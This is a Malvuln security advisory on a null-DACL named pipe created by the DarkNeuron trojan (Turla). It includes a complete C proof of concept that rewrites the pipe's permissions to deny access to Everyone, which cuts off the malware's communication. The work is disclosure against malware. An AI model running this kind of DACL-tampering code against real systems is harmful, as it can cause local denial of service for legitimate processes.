Trojan.Win32.DarkNeuron.gen / Named Pipe Null DACL

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: Contact: Media: Backup media: Threat: Trojan.Win32.DarkNeuron.gen Vulnerability: Named Pipe Null DACL Family: DarkNeuron (Turla Group) Type: PE32 MD5: d891c9374ccb2a4cae2274170e8644d8 Vuln ID: MVID-2022-0661 Disclosure: 11/24/2022 Description: The malware process "NCSC.exe" creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group. \\.\Pipe\Winsock2\baseapi_http RW Everyone RW BUILTIN\Administrators Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications. Exploit/PoC: #include "windows.h" #include "stdio.h" #include "accctrl.h" #include "aclapi.h" /* Trojan.Win32.DarkNeuron.gen (Turla Group) NCSC.exe MD5: d891c9374ccb2a4cae2274170e8644d8 NamedPipe Exploit Deny Access to Everyone By Malvuln Nov of 2022 **/ #define VULN_TROJAN_PIPE "\\\\.\\pipe\\Winsock2\\baseapi_http" int main(void){ HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL); PACL pOldDACL = NULL; PACL pNewDACL = NULL; if (hPipe == INVALID_HANDLE_VALUE){ printf("%d", GetLastError()); return 1; } if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){ printf("%d", GetLastError()); return 1; } TRUSTEE trustee[1]; trustee[0].TrusteeForm = TRUSTEE_IS_NAME; trustee[0].TrusteeType = TRUSTEE_IS_GROUP; trustee[0].ptstrName = TEXT("Everyone"); trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; trustee[0].pMultipleTrustee = NULL; EXPLICIT_ACCESS explicit_access_list[1]; ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS)); explicit_access_list[0].grfAccessMode = DENY_ACCESS; explicit_access_list[0].grfAccessPermissions = GENERIC_ALL; explicit_access_list[0].grfInheritance = NO_INHERITANCE; explicit_access_list[0].Trustee = trustee[0]; if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){ printf("%d", GetLastError()); return 1; } if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){ printf("%d", GetLastError()); return 1; }else{ printf("Trojan.Win32.DarkNeuron.gen (Turla Group) PWNED!\n"); printf("By Malvuln\n"); printf("Nov of 2022\n"); } LocalFree(pNewDACL); LocalFree(pOldDACL); CloseHandle(hPipe); system("pause"); return 0; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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